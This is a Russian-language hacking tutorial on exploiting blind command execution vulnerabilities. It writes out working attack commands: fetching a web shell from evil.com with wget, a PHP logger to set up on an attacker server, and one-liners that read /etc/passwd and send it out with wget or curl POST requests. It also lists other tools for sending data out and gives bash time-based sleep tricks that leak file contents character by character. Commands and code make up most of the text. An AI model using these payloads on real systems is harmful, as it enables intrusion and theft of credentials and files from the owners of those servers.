Blind Code Execution

Hint: flag is not a frag: once you've got it, you can get one more...

Что делать, когда надо эксплуатировать уязвимость типа blind command execution?

Ну конечно использовать netcat, перенаправив шелл на свой IP-адрес.

Или же закачивать полноценный, не «слепой» web-шелл.

wget -o test.php http://evil.com/sh.txt.

Ну а если прав на закачку нет, можно сделать хитрее.
Делаем на evil.com писалку post-запросов blind_ce.php:


<?php
file_put_contents('logs.txt',$_POST[c],FILE_APPEND);
?>

Затем отправляем уязвимому приложению команду:

bla=`cat /etc/passwd`; wget --post-data="c=$bla" http://evil.com/blind_ce.php

Что имеем? Теперь наше исполнение произвольных команд не такое уж и слепое — результат работы мы отправляем к нам на сервер.
Вместо cat /etc/passwd можем написать любую команду. Можно прочитать конфиг и отыскать PMA. Ну в общем, сами знаете.

Если wget не стоит, то же самое можно сделать с curl:

bla=`cat /etc/passwd`; curl --data "c=$bla" http://evil.com/blind_ce.php

По идее можно использовать любые утилиты, которые куда-то коннектятся с какими-то параметрами.
Вместо параметров можно подставлять результаты выполнения команд, а коннектиться к нашему серверу, который эти самые параметры логирует.

UPD Ещё примеры команд: mail, lynx, links, GET, fetch

В общем-то способов отправить данные масса, но бывает, что исходящие соединения заблокированы. В таком случае на помощь придут time-based атаки, аналогичные SQL-инъекциям.

Пример того, как можно вывести код отдельного символа результата команды в bash:

root@bt:~# a=`cat /etc/passwd`;printf '%d' "'${a:0:1}" 114

Вслепую можно устроить дихотомию по коду символа:

root@bt:~# a=`cat /etc/passwd`;c=`printf '%d' "'${a:0:1}"`;if [ $c -gt 0 ]; then sleep 1; fi

А можно извращенски обойтись без дихотомии аналогично методу для Sleep()-ых SQL-инъекций:

root@bt:~# a=`cat /etc/passwd`;sleep `printf '%d' "'${a:0:1}"`

С делителем:

root@bt:~# a=`cat /etc/passwd`;c=`printf '%d' "'${a:0:1}"`;sleep `echo $c/100|bc -l`

Объяснение: загоняем в переменную $a содержимое /etc/passwd, загоняем в переменную $c числовое представление первого символа $a, затем применяем команду bc -l к строке $c/100. Делается это для того, чтобы в sleep попало вещественное число, а не целое (округлённое). Иначе задержка для близких символов будет одинаковой.